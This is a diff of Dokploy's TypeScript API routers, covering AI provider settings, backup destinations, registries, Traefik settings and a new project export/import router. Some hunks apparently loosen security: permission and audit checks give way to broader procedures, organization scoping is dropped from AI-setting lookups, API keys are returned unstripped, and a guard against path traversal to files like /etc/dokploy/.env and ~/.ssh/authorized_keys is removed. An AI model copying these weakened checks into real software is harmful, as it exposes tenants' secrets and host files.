] as Model[];
default:
if (!apiKey)
if (!input.apiKey)
throw new TRPCError({
code: "BAD_REQUEST",
message: "API key must contain at least 1 character(s)",
@@ -206,76 +177,33 @@ export const aiRouter = createTRPCRouter({
});
}
}),
create: withPermission("ai", "create")
.input(apiCreateAi)
.mutation(async ({ ctx, input }) => {
const result = await saveAiSettings(
ctx.session.activeOrganizationId,
input,
);
await audit(ctx, {
action: "create",
resourceType: "ai",
resourceName: input.name,
});
return result;
}),
create: adminProcedure.input(apiCreateAi).mutation(async ({ ctx, input }) => {
return await saveAiSettings(ctx.session.activeOrganizationId, input);
}),
update: withPermission("ai", "update")
.input(apiUpdateAi)
.mutation(async ({ ctx, input }) => {
const existing = await getAiSettingById(
input.aiId,
ctx.session.activeOrganizationId,
);
if (input.apiKey) {
input.apiKey = mergeAiApiKey(input.apiKey, existing.apiKey);
}
const result = await saveAiSettings(
ctx.session.activeOrganizationId,
input,
false,
);
await audit(ctx, {
action: "update",
resourceType: "ai",
resourceId: input.aiId,
resourceName: input.name,
});
return result;
}),
update: adminProcedure.input(apiUpdateAi).mutation(async ({ ctx, input }) => {
return await saveAiSettings(ctx.session.activeOrganizationId, input);
}),
getAll: withAnyPermission("ai", ["read", "create", "update", "delete"]).query(
async ({ ctx }) => {
const settings = await getAiSettingsByOrganizationId(
ctx.session.activeOrganizationId,
);
return settings.map(({ apiKey, ...rest }) => rest);
},
),
getAll: adminProcedure.query(async ({ ctx }) => {
return await getAiSettingsByOrganizationId(
ctx.session.activeOrganizationId,
);
}),
delete: withPermission("ai", "delete")
get: adminProcedure
.input(z.object({ aiId: z.string() }))
.mutation(async ({ input, ctx }) => {
const setting = await getAiSettingById(
input.aiId,
ctx.session.activeOrganizationId,
);
await deleteAiSettings(input.aiId, ctx.session.activeOrganizationId);
await audit(ctx, {
action: "delete",
resourceType: "ai",
resourceId: input.aiId,
resourceName: setting.name,
});
return true;
.query(async ({ input }) => {
return await getAiSettingById(input.aiId);
}),
getCustomProviders: withAnyPermission("ai", [
"read",
"create",
"update",
]).query(async ({ ctx }) => {
delete: adminProcedure
.input(z.object({ aiId: z.string() }))
.mutation(async ({ input }) => {
return await deleteAiSettings(input.aiId);
}),
getCustomProviders: protectedProcedure.query(async ({ ctx }) => {
return await getCustomAiProviders(ctx.session.activeOrganizationId);
}),
@@ -288,7 +216,7 @@ export const aiRouter = createTRPCRouter({
);
}),
getEnabledProviders: withPermission("ai", "read").query(async ({ ctx }) => {
getEnabledProviders: protectedProcedure.query(async ({ ctx }) => {
const settings = await getAiSettingsByOrganizationId(
ctx.session.activeOrganizationId,
);
@@ -297,7 +225,7 @@ export const aiRouter = createTRPCRouter({
.map((s) => ({ aiId: s.aiId, name: s.name, model: s.model }));
}),
analyzeLogs: withPermission("ai", "read")
analyzeLogs: protectedProcedure
.input(
z.object({
aiId: z.string().min(1),
@@ -307,10 +235,7 @@ export const aiRouter = createTRPCRouter({
)
.mutation(async ({ input, ctx }) => {
try {
const aiSettings = await getAiSettingById(
input.aiId,
ctx.session.activeOrganizationId,
);
const aiSettings = await getAiSettingById(input.aiId);
if (!aiSettings?.isEnabled) {
throw new TRPCError({
code: "BAD_REQUEST",
@@ -318,6 +243,13 @@ export const aiRouter = createTRPCRouter({
});
}
if (aiSettings.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "FORBIDDEN",
message: "Access denied",
});
}
const provider = selectAIProvider(aiSettings);
const model = provider(aiSettings.model);
@@ -351,21 +283,19 @@ ${input.logs}`,
}
}),
testConnection: withAnyPermission("ai", ["create", "update"])
testConnection: protectedProcedure
.input(
z.object({
apiUrl: z.string().min(1),
apiKey: z.string(),
model: z.string().min(1),
aiId: z.string().optional(),
}),
)
.mutation(async ({ input, ctx }) => {
.mutation(async ({ input }) => {
try {
const apiKey = await resolveInputApiKey(input, ctx);
const provider = selectAIProvider({
apiUrl: input.apiUrl,
apiKey,
apiKey: input.apiKey,
});
const model = provider(input.model);
const result = await generateText({
@@ -387,7 +317,7 @@ ${input.logs}`,
}
}),
suggest: withPermission("ai", "read")
suggest: protectedProcedure
.input(
z.object({
aiId: z.string(),
@@ -408,7 +338,7 @@ ${input.logs}`,
});
}
}),
deploy: withPermission("ai", "read")
deploy: protectedProcedure
.input(deploySuggestionSchema)
.mutation(async ({ ctx, input }) => {
const environment = await findEnvironmentById(input.environmentId);
+2 -46
View File
@@ -1,16 +1,13 @@
import {
createDestination,
execAsync,
execAsyncRemote,
findDestinationById,
IS_CLOUD,
removeDestinationById,
testDestinationConnection,
updateDestinationById,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { TRPCError } from "@trpc/server";
import { desc, eq } from "drizzle-orm";
import { quote } from "shell-quote";
import { createTRPCRouter, withPermission } from "@/server/api/trpc";
import { audit } from "@/server/api/utils/audit";
import {
@@ -48,49 +45,8 @@ export const destinationRouter = createTRPCRouter({
testConnection: withPermission("destination", "create")
.input(apiCreateDestination)
.mutation(async ({ input }) => {
const {
secretAccessKey,
bucket,
region,
endpoint,
accessKey,
provider,
additionalFlags,
} = input;
try {
const rcloneFlags = [
`--s3-access-key-id=${quote([accessKey])}`,
`--s3-secret-access-key=${quote([secretAccessKey])}`,
`--s3-region=${quote([region])}`,
`--s3-endpoint=${quote([endpoint])}`,
"--s3-no-check-bucket",
"--s3-force-path-style",
"--retries 1",
"--low-level-retries 1",
"--timeout 10s",
"--contimeout 5s",
];
if (provider) {
rcloneFlags.unshift(`--s3-provider=${quote([provider])}`);
}
if (additionalFlags?.length) {
rcloneFlags.push(...additionalFlags);
}
const rcloneDestination = `:s3:${bucket}`;
const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`;
if (IS_CLOUD && !input.serverId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Server not found",
});
}
if (IS_CLOUD) {
await execAsyncRemote(input.serverId || "", rcloneCommand);
} else {
await execAsync(rcloneCommand);
}
await testDestinationConnection(input);
} catch (error) {
throw new TRPCError({
code: "BAD_REQUEST",
@@ -0,0 +1,958 @@
import { randomUUID } from "node:crypto";
import {
findBackupById,
getDokployImageTag,
IS_CLOUD,
scheduleBackup,
scheduleJob,
scheduleVolumeBackup,
TRAEFIK_VERSION,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
import type {
DeployCandidate,
InstanceVersions,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import {
assertNoActiveTransfer,
assertPlanChecksPass,
assertTransferPermission,
at,
BUNDLE_EXTENSION,
buildPlan,
bundleBuildServer,
cancelExport,
cancelImport,
capture,
compareInstanceVersions,
conflictResolutionSchema,
createImportJobIfNoneActive,
deleteBundleFromDestination,
detectRequirements,
detectWarnings,
domainStrategySchema,
downloadBundleFromDestination,
EXPORTS_DIRECTORY,
estimateSizes,
exportScopeSchema,
findOrganizationDestination,
findOrganizationServerId,
fullExportScope,
getExportJob,
inspectBundle,
listBundles,
listReviewableSecrets,
prepareRoot,
proposeResolutions,
remove,
requireExportJob,
requireIdleImportJob,
requireImportJob,
requireOwnImportJob,
resolutionSchema,
runExport,
runExportBatch,
runImport,
safeErrorMessage,
TransferCryptoError,
targetSchema,
transferRoot,
UnsupportedBundleVersionError,
unlockBundle,
updateImportJob,
validatePlan,
verifyBundlePassphrase,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { z } from "zod";
import { PLAN_LIMITS } from "@/server/api/utils/plan-limits";
import type { DeploymentJob } from "@/server/queues/queue-types";
import { myQueue } from "@/server/queues/queueSetup";
import { schedule } from "@/server/utils/backup";
import { getCurrentPlan } from "@/server/utils/billing";
import { deploy } from "@/server/utils/deploy";
import packageInfo from "../../../package.json";
import { createTRPCRouter, protectedProcedure } from "../trpc";
import { audit } from "../utils/audit";
const localInstance = (): InstanceVersions => ({
dokployVersion: packageInfo.version,
releaseTag: getDokployImageTag(),
isCloud: IS_CLOUD,
traefikVersion: TRAEFIK_VERSION,
nodeVersion: process.version,
});
const localInstanceContext = () => {
const { dokployVersion, ...instance } = localInstance();
return { dokployVersion, instance };
};
const scheduleImportedJobs = async (result: TransferResult): Promise<void> => {
const serviceIds = Object.values(result.idMap).flatMap((ids) =>
Object.values(ids),
);
if (serviceIds.length === 0) return;
const [importedBackups, importedVolumeBackups, importedSchedules] =
await Promise.all([
db.query.backups.findMany({
where: (fields, { and, eq, inArray, or }) =>
and(
eq(fields.enabled, true),
or(
inArray(fields.postgresId, serviceIds),
inArray(fields.mysqlId, serviceIds),
inArray(fields.mariadbId, serviceIds),
inArray(fields.mongoId, serviceIds),
inArray(fields.libsqlId, serviceIds),
inArray(fields.composeId, serviceIds),
),
),
columns: { backupId: true },
}),
db.query.volumeBackups.findMany({
where: (fields, { and, eq, inArray, or }) =>
and(
eq(fields.enabled, true),
or(
inArray(fields.applicationId, serviceIds),
inArray(fields.postgresId, serviceIds),
inArray(fields.mysqlId, serviceIds),
inArray(fields.mariadbId, serviceIds),
inArray(fields.mongoId, serviceIds),
inArray(fields.redisId, serviceIds),
inArray(fields.libsqlId, serviceIds),
inArray(fields.composeId, serviceIds),
),
),
}),
db.query.schedules.findMany({
where: (fields, { and, eq, inArray, or }) =>
and(
eq(fields.enabled, true),
or(
inArray(fields.applicationId, serviceIds),
inArray(fields.composeId, serviceIds),
),
),
}),
]);
for (const { backupId } of importedBackups) {
const backup = await findBackupById(backupId);
if (IS_CLOUD) {
await schedule({
cronSchedule: backup.schedule,
backupId,
type: "backup",
});
} else {
scheduleBackup(backup);
}
}
for (const volumeBackup of importedVolumeBackups) {
if (IS_CLOUD) {
await schedule({
cronSchedule: volumeBackup.cronExpression,
volumeBackupId: volumeBackup.volumeBackupId,
type: "volume-backup",
});
} else {
await scheduleVolumeBackup(volumeBackup.volumeBackupId);
}
}
for (const importedSchedule of importedSchedules) {
if (IS_CLOUD) {
await schedule({
scheduleId: importedSchedule.scheduleId,
type: "schedule",
cronSchedule: importedSchedule.cronExpression,
timezone: importedSchedule.timezone,
});
} else {
scheduleJob(importedSchedule);
}
}
};
const enqueueImportDeploys = async (
candidates: DeployCandidate[],
): Promise<void> => {
for (const candidate of candidates) {
const jobData: DeploymentJob =
candidate.serviceType === "application"
? {
applicationId: candidate.serviceId,
titleLog: "Imported from bundle",
descriptionLog: "",
type: "deploy",
applicationType: "application",
server: !!candidate.serverId,
serverId: candidate.serverId ?? undefined,
}
: {
composeId: candidate.serviceId,
titleLog: "Imported from bundle",
descriptionLog: "",
type: "deploy",
applicationType: "compose",
server: !!candidate.serverId,
serverId: candidate.serverId ?? undefined,
};
if (IS_CLOUD && candidate.serverId) {
deploy(jobData).catch((error) => {
console.error("Background import deployment failed:", error);
});
} else {
await myQueue.add(
"deployments",
{ ...jobData },
{ removeOnComplete: true, removeOnFail: true },
);
}
}
};
export const projectExportImportRouter = createTRPCRouter({
exportPreview: protectedProcedure
.input(
z.object({
projectId: z.string(),
environmentIds: z.array(z.string()).optional(),
serviceIds: z.array(z.string()).optional(),
files: exportScopeSchema.shape.files.optional(),
dumps: exportScopeSchema.shape.dumps.optional(),
}),
)
.query(async ({ ctx, input }) => {
await assertTransferPermission(ctx, input.projectId, "export");
const scope = exportScopeSchema.parse(input);
const result = await capture(
db,
{ kind: "project", id: input.projectId },
scope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const sizes = await estimateSizes(result.tree, scope);
return {
inventory: { ...result.inventory, ...sizes },
requirements: result.requirements,
warnings: result.warnings,
};
}),
exportStart: protectedProcedure
.input(
z.object({
projectId: z.string(),
scope: exportScopeSchema,
passphrase: z.string().min(12),
deliver: z
.union([
z.object({ kind: z.literal("download") }),
z.object({
kind: z.literal("destination"),
destinationId: z.string(),
}),
])
.optional(),
}),
)
.mutation(async ({ ctx, input }) => {
await assertTransferPermission(ctx, input.projectId, "export");
assertNoActiveTransfer(ctx.user.id);
if (IS_CLOUD && (!input.deliver || input.deliver.kind === "download")) {
throw new TRPCError({
code: "BAD_REQUEST",
message:
"Downloading a bundle directly is not available on Dokploy Cloud; choose a destination to deliver it to instead.",
});
}
if (input.deliver?.kind === "destination") {
await findOrganizationDestination(
input.deliver.destinationId,
ctx.session.activeOrganizationId,
);
}
const { exportId } = runExport(
{
source: { kind: "project", id: input.projectId },
scope: input.scope,
passphrase: input.passphrase,
deliver: input.deliver,
buildServerId: await bundleBuildServer(
db,
input.projectId,
input.scope,
),
},
{
db,
userId: ctx.user.id,
userEmail: ctx.user.email,
organizationId: ctx.session.activeOrganizationId,
...localInstanceContext(),
},
);
await audit(ctx, {
action: "export",
resourceType: "project",
resourceId: input.projectId,
});
return { exportId };
}),
listRemoteBundles: protectedProcedure
.input(z.object({ destinationId: z.string() }))
.query(async ({ ctx, input }) => {
await assertTransferPermission(ctx, undefined, "import");
const destination = await findOrganizationDestination(
input.destinationId,
ctx.session.activeOrganizationId,
);
try {
return await listBundles(destination);
} catch (error) {
throw new TRPCError({
code: "BAD_REQUEST",
message: `Failed to list bundles: ${safeErrorMessage(error)}`,
});
}
}),
verifyBundlePassphrase: protectedProcedure
.input(
z.object({
destinationId: z.string(),
key: z.string(),
passphrase: z.string().min(12),
}),
)
.mutation(async ({ ctx, input }) => {
await assertTransferPermission(ctx, undefined, "import");
const destination = await findOrganizationDestination(
input.destinationId,
ctx.session.activeOrganizationId,
);
try {
return await verifyBundlePassphrase(
destination,
input.key,
input.passphrase,
);
} catch (error) {
throw new TRPCError({
code: "BAD_REQUEST",
message: `Failed to read the bundle: ${safeErrorMessage(error)}`,
});
}
}),
exportOrganizationStart: protectedProcedure
.input(
z.object({
destinationId: z.string(),
passphrase: z.string().min(12),
projectIds: z.array(z.string()).min(1).max(200),
}),
)
.mutation(async ({ ctx, input }) => {
await assertTransferPermission(ctx, undefined, "export");
assertNoActiveTransfer(ctx.user.id);
await findOrganizationDestination(
input.destinationId,
ctx.session.activeOrganizationId,
);
const projectIds = [...new Set(input.projectIds)];
const projects = await db.query.projects.findMany({
where: (fields, { eq, and, inArray }) =>
and(
eq(fields.organizationId, ctx.session.activeOrganizationId),
inArray(fields.projectId, projectIds),
),
columns: { projectId: true, name: true },
});
if (projects.length !== projectIds.length) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Project not found",
});
}
const scope = fullExportScope();
const planned = await Promise.all(
projects.map(async (project) => {
try {
const buildServerId = await bundleBuildServer(
db,
project.projectId,
scope,
);
return { project, buildServerId, skipped: undefined };
} catch (error) {
if (error instanceof TRPCError && error.code === "BAD_REQUEST") {
return { project, buildServerId: null, skipped: error.message };
}
throw error;
}
}),
);
const exportable = planned.filter((entry) => !entry.skipped);
if (exportable.length === 0) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "None of the selected projects can be exported",
});
}
const { exportIds } = runExportBatch(
exportable.map(({ project, buildServerId }) => ({
source: { kind: "project" as const, id: project.projectId },
scope,
passphrase: input.passphrase,
deliver: {
kind: "destination" as const,
destinationId: input.destinationId,
},
buildServerId,
})),
{
db,
userId: ctx.user.id,
userEmail: ctx.user.email,
organizationId: ctx.session.activeOrganizationId,
...localInstanceContext(),
},
);
await audit(ctx, {
action: "export",
resourceType: "organization",
resourceId: ctx.session.activeOrganizationId,
});
return {
exports: exportable.map(({ project }, index) => ({
projectId: project.projectId,
name: project.name,
exportId: exportIds[index] as string,
})),
skipped: planned.flatMap(({ project, skipped }) =>
skipped
? [
{
projectId: project.projectId,
name: project.name,
reason: skipped,
},
]
: [],
),
};
}),
exportBatchStatus: protectedProcedure
.input(z.object({ exportIds: z.array(z.string()).max(200) }))
.query(async ({ ctx, input }) => {
await assertTransferPermission(ctx, undefined, "export");
return input.exportIds.map((exportId) => {
const job = getExportJob(exportId);
return job && job.organizationId === ctx.session.activeOrganizationId
? {
exportId,
status: job.status,
message: job.message,
error: job.error,
deliveredKey: job.deliveredKey,
size: job.size,
}
: { exportId, status: "error" as const, error: "Export not found" };
});
}),
deleteRemoteBundle: protectedProcedure
.input(z.object({ destinationId: z.string(), key: z.string() }))
.mutation(async ({ ctx, input }) => {
await assertTransferPermission(ctx, undefined, "export");
if (
!input.key.startsWith(`${EXPORTS_DIRECTORY}/`) ||
!input.key.endsWith(BUNDLE_EXTENSION) ||
input.key.includes("..")
) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Only export bundles can be deleted from here",
});
}
const destination = await findOrganizationDestination(
input.destinationId,
ctx.session.activeOrganizationId,
);
try {
await deleteBundleFromDestination(destination, input.key);
} catch (error) {
throw new TRPCError({
code: "BAD_REQUEST",
message: `Failed to delete bundle: ${safeErrorMessage(error)}`,
});
}
await audit(ctx, {
action: "delete",
resourceType: "destination",
resourceId: input.destinationId,
});
return { deleted: true };
}),
importFromDestination: protectedProcedure
.input(
z.object({
destinationId: z.string(),
key: z.string(),
serverId: z.string().optional(),
}),
)
.mutation(async ({ ctx, input }) => {
await assertTransferPermission(ctx, undefined, "import");
assertNoActiveTransfer(ctx.user.id);
const serverId = await findOrganizationServerId(
input.serverId,
ctx.session.activeOrganizationId,
);
const destination = await findOrganizationDestination(
input.destinationId,
ctx.session.activeOrganizationId,
);
const importId = randomUUID();
const root = transferRoot(importId, serverId);
const bundle = at(root, "bundle.dokploy.tar.gz");
try {
await prepareRoot(root);
await downloadBundleFromDestination(destination, input.key, bundle);
} catch (error) {
await remove(root).catch(() => {});
throw new TRPCError({
code: "BAD_REQUEST",
message: `Failed to download bundle: ${safeErrorMessage(error)}`,
});
}
try {
createImportJobIfNoneActive(
importId,
ctx.user.id,
ctx.session.activeOrganizationId,
);
} catch (error) {
await remove(root).catch(() => {});
throw error;
}
updateImportJob(importId, { root, bundle, status: "uploaded" });
return { importId, serverId };
}),
exportStatus: protectedProcedure
.input(z.object({ exportId: z.string() }))
.query(async ({ ctx, input }) => {
const job = requireExportJob(
input.exportId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(ctx, undefined, "export");
const {
workspace: _workspace,
bundle: _bundle,
userId: _userId,
...publicJob
} = job;
return publicJob;
}),
exportCancel: protectedProcedure
.input(z.object({ exportId: z.string() }))
.mutation(async ({ ctx, input }) => {
requireExportJob(input.exportId, ctx.session.activeOrganizationId);
await assertTransferPermission(ctx, undefined, "export");
await cancelExport(input.exportId);
return { success: true };
}),
importInspect: protectedProcedure
.input(z.object({ importId: z.string() }))
.mutation(async ({ ctx, input }) => {
const job = requireImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(ctx, undefined, "import");
if (!job.bundle || !job.root) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Import has no uploaded bundle",
});
}
const workDir = at(job.root, "extracted");
let inspected: Awaited<ReturnType<typeof inspectBundle>>;
try {
inspected = await inspectBundle(job.bundle, workDir);
} catch (error) {
if (error instanceof UnsupportedBundleVersionError) {
throw new TRPCError({
code: "BAD_REQUEST",
message: error.message,
});
}
throw error;
}
updateImportJob(input.importId, { status: "inspected", workDir });
const { crypto: _crypto, ...publicManifest } = inspected.manifest;
const destination = localInstance();
return {
manifest: publicManifest,
inventory: inspected.inventory,
requirements: inspected.requirements,
warnings: inspected.warnings,
versions: { source: publicManifest.sourceInstance, destination },
versionWarnings: compareInstanceVersions(
publicManifest.sourceInstance,
destination,
),
};
}),
importUnlock: protectedProcedure
.input(z.object({ importId: z.string(), passphrase: z.string().min(12) }))
.mutation(async ({ ctx, input }) => {
const job = requireImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(ctx, undefined, "import");
if (!job.workDir) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importInspect before importUnlock",
});
}
let unlocked: Awaited<ReturnType<typeof unlockBundle>>;
try {
unlocked = await unlockBundle(job.workDir, input.passphrase);
} catch (error) {
if (error instanceof TransferCryptoError) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Incorrect passphrase",
});
}
throw error;
}
updateImportJob(input.importId, {
status: "unlocked",
snapshot: unlocked.snapshot,
secretsPlain: unlocked.secretsPlain,
});
const resolutions = await proposeResolutions(
db,
unlocked.snapshot,
ctx.session.activeOrganizationId,
);
return { resolutions };
}),
importSecrets: protectedProcedure
.input(z.object({ importId: z.string() }))
.query(async ({ ctx, input }) => {
const job = requireImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(ctx, undefined, "import");
if (!job.snapshot) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importUnlock before importSecrets",
});
}
return listReviewableSecrets(job.snapshot);
}),
importSecretReveal: protectedProcedure
.input(z.object({ importId: z.string(), secretId: z.string() }))
.mutation(async ({ ctx, input }) => {
const job = requireOwnImportJob(
input.importId,
ctx.session.activeOrganizationId,
ctx.user.id,
);
await assertTransferPermission(ctx, undefined, "import");
if (!job.snapshot || !job.secretsPlain) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importUnlock before revealing secrets",
});
}
const reviewable = listReviewableSecrets(job.snapshot).some(
(entry) => entry.secretId === input.secretId,
);
if (!reviewable) {
throw new TRPCError({ code: "NOT_FOUND", message: "Secret not found" });
}
return { value: job.secretsPlain.get(input.secretId) ?? "" };
}),
importSecretsOverride: protectedProcedure
.input(
z.object({
importId: z.string(),
overrides: z.record(z.string(), z.string()),
}),
)
.mutation(async ({ ctx, input }) => {
const job = requireOwnImportJob(
input.importId,
ctx.session.activeOrganizationId,
ctx.user.id,
);
await assertTransferPermission(ctx, undefined, "import");
if (!job.snapshot || !job.secretsPlain) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importUnlock before overriding secrets",
});
}
const reviewable = listReviewableSecrets(job.snapshot).map(
(entry) => entry.secretId,
);
for (const secretId of Object.keys(input.overrides)) {
if (!reviewable.includes(secretId)) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Secret not found",
});
}
}
const originals = job.secretsOriginal ?? new Map(job.secretsPlain);
for (const secretId of reviewable) {
job.secretsPlain.set(
secretId,
input.overrides[secretId] ?? originals.get(secretId) ?? "",
);
}
updateImportJob(input.importId, { secretsOriginal: originals });
return { overridden: Object.keys(input.overrides).length };
}),
importPlan: protectedProcedure
.input(
z.object({
importId: z.string(),
target: targetSchema,
choices: z.object({
resolutions: z.record(z.string(), resolutionSchema).optional(),
keepAppNames: z.boolean().optional(),
domainStrategy: domainStrategySchema.optional(),
portsStrategy: z.enum(["keep", "disable"]).optional(),
rotateDatabaseCredentials: z.boolean().optional(),
conflictResolutions: z
.record(z.string(), conflictResolutionSchema)
.optional(),
deployAfterImport: z.boolean().optional(),
}),
}),
)
.mutation(async ({ ctx, input }) => {
const job = requireIdleImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
const targetProjectId =
input.target.kind === "existingProject"
? input.target.projectId
: undefined;
await assertTransferPermission(ctx, targetProjectId, "import");
if (!job.snapshot) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importUnlock before importPlan",
});
}
const environmentsToCreate = job.snapshot.resources.environments.length;
const existingEnvironments = targetProjectId
? (
await db.query.environments.findMany({
where: (fields, { eq }) => eq(fields.projectId, targetProjectId),
columns: { environmentId: true },
})
).length
: 0;
const billingPlan = await getCurrentPlan(
ctx.session.activeOrganizationId,
);
const limit = PLAN_LIMITS[billingPlan ?? "legacy"].environment;
if (existingEnvironments + environmentsToCreate > limit) {
throw new TRPCError({
code: "FORBIDDEN",
message: targetProjectId
? `This project has ${existingEnvironments} environment(s) and the bundle needs ${environmentsToCreate} more, which exceeds your plan's limit of ${limit}. Upgrade your plan to import it.`
: `This bundle needs ${environmentsToCreate} environments, which exceeds your plan's limit of ${limit}. Upgrade your plan to import it.`,
});
}
const plan = await buildPlan(
db,
job.snapshot,
ctx.session.activeOrganizationId,
input.target,
input.choices,
);
plan.warnings.push(
...compareInstanceVersions(
job.snapshot.manifest.sourceInstance,
localInstance(),
),
);
updateImportJob(input.importId, { status: "planned", plan });
return {
summary: plan.summary,
pendingServices: plan.pendingServices,
warnings: plan.warnings,
conflicts: plan.conflicts,
conflictResolutions: plan.conflictResolutions ?? {},
};
}),
importValidate: protectedProcedure
.input(z.object({ importId: z.string() }))
.mutation(async ({ ctx, input }) => {
const job = requireIdleImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(
ctx,
job.plan?.target.kind === "existingProject"
? job.plan.target.projectId
: undefined,
"import",
);
if (!job.plan || !job.snapshot) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importPlan before importValidate",
});
}
const checks = await validatePlan(
db,
job.snapshot,
job.plan,
ctx.session.activeOrganizationId,
);
updateImportJob(input.importId, {
plan: { ...job.plan, validation: checks },
});
return { checks };
}),
importStart: protectedProcedure
.input(z.object({ importId: z.string() }))
.mutation(async ({ ctx, input }) => {
const job = requireIdleImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(
ctx,
job.plan?.target.kind === "existingProject"
? job.plan.target.projectId
: undefined,
"import",
);
assertNoActiveTransfer(ctx.user.id, {
excludeImportId: input.importId,
});
if (!job.plan || !job.snapshot) {
throw new TRPCError({
code: "BAD_REQUEST",
message: "Call importPlan before importStart",
});
}
if (job.status !== "planned") {
throw new TRPCError({
code: "CONFLICT",
message: "This import has already been started",
});
}
updateImportJob(input.importId, { status: "applying" });
try {
assertPlanChecksPass(
await validatePlan(
db,
job.snapshot,
job.plan,
ctx.session.activeOrganizationId,
),
);
} catch (error) {
updateImportJob(input.importId, { status: "planned" });
throw error;
}
runImport(input.importId, {
db,
organizationId: ctx.session.activeOrganizationId,
enqueueDeploy: enqueueImportDeploys,
scheduleJobs: scheduleImportedJobs,
});
await audit(ctx, {
action: "import",
resourceType: "project",
resourceId: input.importId,
});
return { success: true };
}),
importStatus: protectedProcedure
.input(z.object({ importId: z.string() }))
.query(async ({ ctx, input }) => {
const job = requireImportJob(
input.importId,
ctx.session.activeOrganizationId,
);
await assertTransferPermission(ctx, undefined, "import");
const {
secretsPlain: _secretsPlain,
secretsOriginal: _secretsOriginal,
snapshot: _snapshot,
...publicJob
} = job;
return publicJob;
}),
importCancel: protectedProcedure
.input(z.object({ importId: z.string() }))
.mutation(async ({ ctx, input }) => {
requireImportJob(input.importId, ctx.session.activeOrganizationId);
await assertTransferPermission(ctx, undefined, "import");
await cancelImport(input.importId);
return { success: true };
}),
});
@@ -345,31 +345,42 @@ export const projectRouter = createTRPCRouter({
applicationId: true,
name: true,
applicationStatus: true,
sourceType: true,
},
},
mariadb: {
columns: {
mariadbId: true,
name: true,
applicationStatus: true,
},
},
mongo: {
columns: {
mongoId: true,
name: true,
applicationStatus: true,
},
},
mysql: {
columns: {
mysqlId: true,
name: true,
applicationStatus: true,
},
},
postgres: {
columns: {
postgresId: true,
name: true,
applicationStatus: true,
},
},
redis: {
columns: {
redisId: true,
name: true,
applicationStatus: true,
},
},
compose: {
@@ -382,6 +393,8 @@ export const projectRouter = createTRPCRouter({
libsql: {
columns: {
libsqlId: true,
name: true,
applicationStatus: true,
},
},
},
+8 -63
View File
@@ -1,11 +1,8 @@
import {
createRegistry,
execAsyncRemote,
execFileAsync,
findRegistryById,
IS_CLOUD,
removeRegistry,
safeDockerLoginCommand,
testRegistryConnection,
updateRegistry,
} from "@dokploy/server";
import { db } from "@dokploy/server/db";
@@ -105,36 +102,7 @@ export const registryRouter = createTRPCRouter({
.input(apiTestRegistry)
.mutation(async ({ input }) => {
try {
const args = [
"login",
input.registryUrl,
"--username",
input.username,
"--password-stdin",
];
if (IS_CLOUD && !input.serverId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Select a server to test the registry",
});
}
if (input.serverId && input.serverId !== "none") {
await execAsyncRemote(
input.serverId,
safeDockerLoginCommand(
input.registryUrl,
input.username,
input.password,
),
);
} else {
await execFileAsync("docker", args, {
input: Buffer.from(input.password).toString(),
});
}
await testRegistryConnection(input);
return true;
} catch (error) {
throw new TRPCError({
@@ -169,35 +137,12 @@ export const registryRouter = createTRPCRouter({
});
}
const args = [
"login",
registryData.registryUrl,
"--username",
registryData.username,
"--password-stdin",
];
if (IS_CLOUD && !input.serverId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Select a server to test the registry",
});
}
if (input.serverId && input.serverId !== "none") {
await execAsyncRemote(
input.serverId,
safeDockerLoginCommand(
registryData.registryUrl,
registryData.username,
registryData.password,
),
);
} else {
await execFileAsync("docker", args, {
input: Buffer.from(registryData.password).toString(),
});
}
await testRegistryConnection({
registryUrl: registryData.registryUrl,
username: registryData.username,
password: registryData.password,
serverId: input.serverId,
});
return true;
} catch (error) {
+2 -43
View File
@@ -1,4 +1,3 @@
import path from "node:path";
import {
CLEANUP_CRON_JOB,
checkGPUStatus,
@@ -82,32 +81,6 @@ import {
publicProcedure,
} from "../trpc";
/**
* Confines a caller-supplied Traefik file path to the Traefik configuration
* directory (MAIN_TRAEFIK_PATH). The read/write Traefik file endpoints only
* expose files listed under this directory, but the raw path was passed
* straight to the filesystem helpers, letting a user with the `traefikFiles`
* permission read or overwrite arbitrary files on the host (for example
* `/etc/dokploy/.env` or `~/.ssh/authorized_keys`) via an absolute path or
* `../` traversal. Reject anything that escapes the directory.
*/
const resolveTraefikFilePath = (
filePath: string,
serverId?: string | null,
): string => {
const { MAIN_TRAEFIK_PATH } = paths(!!serverId);
const base = path.resolve(MAIN_TRAEFIK_PATH);
const resolved = path.resolve(base, filePath);
if (resolved !== base && !resolved.startsWith(`${base}${path.sep}`)) {
throw new TRPCError({
code: "BAD_REQUEST",
message:
"Invalid path: file must be inside the Traefik configuration directory",
});
}
return resolved;
};
export const settingsRouter = createTRPCRouter({
getWebServerSettings: protectedProcedure.query(async () => {
if (IS_CLOUD) {
@@ -613,12 +586,6 @@ export const settingsRouter = createTRPCRouter({
